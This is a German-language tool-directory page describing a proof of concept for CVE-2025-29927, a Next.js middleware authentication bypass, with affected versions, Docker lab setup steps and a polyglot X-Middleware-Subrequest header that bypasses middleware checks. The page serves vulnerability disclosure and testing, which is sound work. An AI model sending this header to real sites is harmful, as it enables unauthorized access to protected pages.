Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-29927-PoC — PoC für CVE-2025-29927: Next.js Middleware-Bypass-Sicherheitslücke. Zeigt, wie x-middleware-subrequest Authentifizierungsprüfungen umgehen kann. Enthält Docker-Setup zum Testen. | Kitploit
Tools/GitHubGitHub/alihussainzada/cve-2025-29927-poc
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubalihussainzada/cve-2025-29927-poc

CVE-2025-29927-PoC

PoC für CVE-2025-29927: Next.js Middleware-Bypass-Sicherheitslücke. Zeigt, wie x-middleware-subrequest Authentifizierungsprüfungen umgehen kann. Enthält Docker-Setup zum Testen.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
513vor 1 JahrNoch nicht geprüft

CVE-2025-29927: Next.js Middleware Bypass Schwachstelle PoC

Dieses Repository demonstriert die CVE-2025-29927 Schwachstelle in Next.js, bei der der interne Header x-middleware-subrequest verwendet werden kann, um Middleware-Prüfungen wie Authentifizierung zu umgehen.

Betroffene Versionen

  • Next.js 15.x < 15.2.3
  • Next.js 14.x < 14.2.25
  • Next.js 13.x < 13.5.9

Schritte zur Reproduktion

1. Repository klonen:

root@kitploit:~
git clone https://github.com/alihussainzada/CVE-2025-29927-PoC.git

2. In das Projektverzeichnis navigieren:

root@kitploit:~
cd CVE-2025-29927-PoC

3. Ein Geheimnis generieren:

root@kitploit:~
openssl rand -base64 32

4. Das Geheimnis in der .env-Datei aktualisieren:

root@kitploit:~
NEXTAUTH_SECRET=your_generated_secret

5. Mit Docker bauen und ausführen:

root@kitploit:~
docker build -t nextjs .
docker run -p 3000:3000 --env-file .env nextjs

Proof of Concept

Wir können die Ausnutzung dieses Problems erheblich vereinfachen, indem wir einen Polyglot verwenden, der es uns ermöglicht, die verschiedenen möglichen Fälle effektiv abzudecken. Dies gelang uns mit dem folgenden HTTP-Header, der verwendet wird, um das Vorhandensein einer Authentifizierungsumgehung zu prüfen:

root@kitploit:~
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

Benutzer umleiten

Ausnutzungsbeispiel

Credits/Quellen

  • Next.js Blog zu CVE-2025-29927
  • Zhero Web Security Research: Next.js and the Corrupt Middleware
  • Assetnote Security Research: Analyzing the Next.js Middleware Bypass
Tool herunterladen